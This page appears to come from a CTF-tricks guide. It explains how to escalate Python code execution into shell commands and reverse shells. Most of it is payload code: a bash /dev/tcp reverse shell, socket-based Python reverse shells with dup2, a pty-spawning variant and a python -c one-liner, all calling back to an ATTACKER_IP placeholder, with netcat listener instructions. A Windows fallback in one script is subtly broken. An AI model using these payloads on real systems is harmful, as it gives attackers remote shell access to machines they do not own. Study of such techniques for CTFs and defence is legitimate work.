> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-7/reverse-shell/trick-0142.md).

# Reverse Shell from Python RCE

***

If you achieve arbitrary code execution within a Python environment, you can leverage modules like `os` or `subprocess` to execute system commands directly. A common approach to gain persistent access is to execute a command that establishes a reverse shell back to your machine.

Once arbitrary code execution is achieved, executing system commands is trivial. The `os.system()` function executes a command in a subshell. This function returns the exit status of the command and does not directly capture the output.

```python
os.system("whoami")
```

For capturing output, `os.popen()` can be used. It opens a pipe to or from a command. You can read the output from the command using methods like `.read()`.

```python
import os
output = os.popen('ls').read()
print(output)
```

`os.popen()` can be used to execute a standard bash reverse shell command, remembering to replace `ATTACKER_IP` and `PORT` with your listener's details. Ensure you have a listener set up on your machine (e.g., using `netcat -lvnp PORT`).

```python
__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"').read()
```

The `subprocess` module offers more powerful and recommended ways to interact with system processes compared to the older `os.system` and `os.popen`. The `subprocess.run()` function is a high-level API for running commands. By setting `capture_output=True`, you can capture the command's standard output and standard error. The `text=True` argument decodes stdout and stderr using the default encoding. The captured output is then accessible through the `stdout` attribute of the returned object.

```python
import subprocess
result = subprocess.run(['ls', '-a'], capture_output=True, text=True)
print(result.stdout)
```

Another method in the `subprocess` module is `subprocess.call()`, which simply runs the command and waits for it to complete, returning the exit code.

```python
import subprocess
subprocess.call(['ls', '-l'])
```

Establishing a reverse shell is a common next step. Beyond simple bash commands, a full Python-based reverse shell can be executed. Remember to replace `ATTACKER_IP` and `PORT`.

```python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ATTACKER_IP",PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
```

A more interactive shell can often be achieved using the `pty` module, which is available on Unix-like systems. This involves duplicating file descriptors for the socket and then spawning a pseudo-terminal connected to the shell process.

```python
import socket, subprocess, os

# Configuration
host = 'ATTACKER_IP'  # Change this to your IP address
port = PORT         # Change this to your desired port

# Connect to the attacker
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

# Duplicate file descriptors
os.dup2(s.fileno(), 0)  # stdin
os.dup2(s.fileno(), 1)  # stdout
os.dup2(s.fileno(), 2)  # stderr

# Start a shell using pty for interactivity
try:
    import pty
    pty.spawn("/bin/bash") # Or /bin/sh
except ImportError:
    # Fallback for systems without pty (e.g., Windows)
    subprocess.call(["cmd.exe"]) # Or whatever shell is available
```

For a more concise exploitation, a Python reverse shell can often be crafted as a single-line command, particularly useful in contexts allowing short code execution. This example also leverages `pty` for a more interactive session.

```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
```
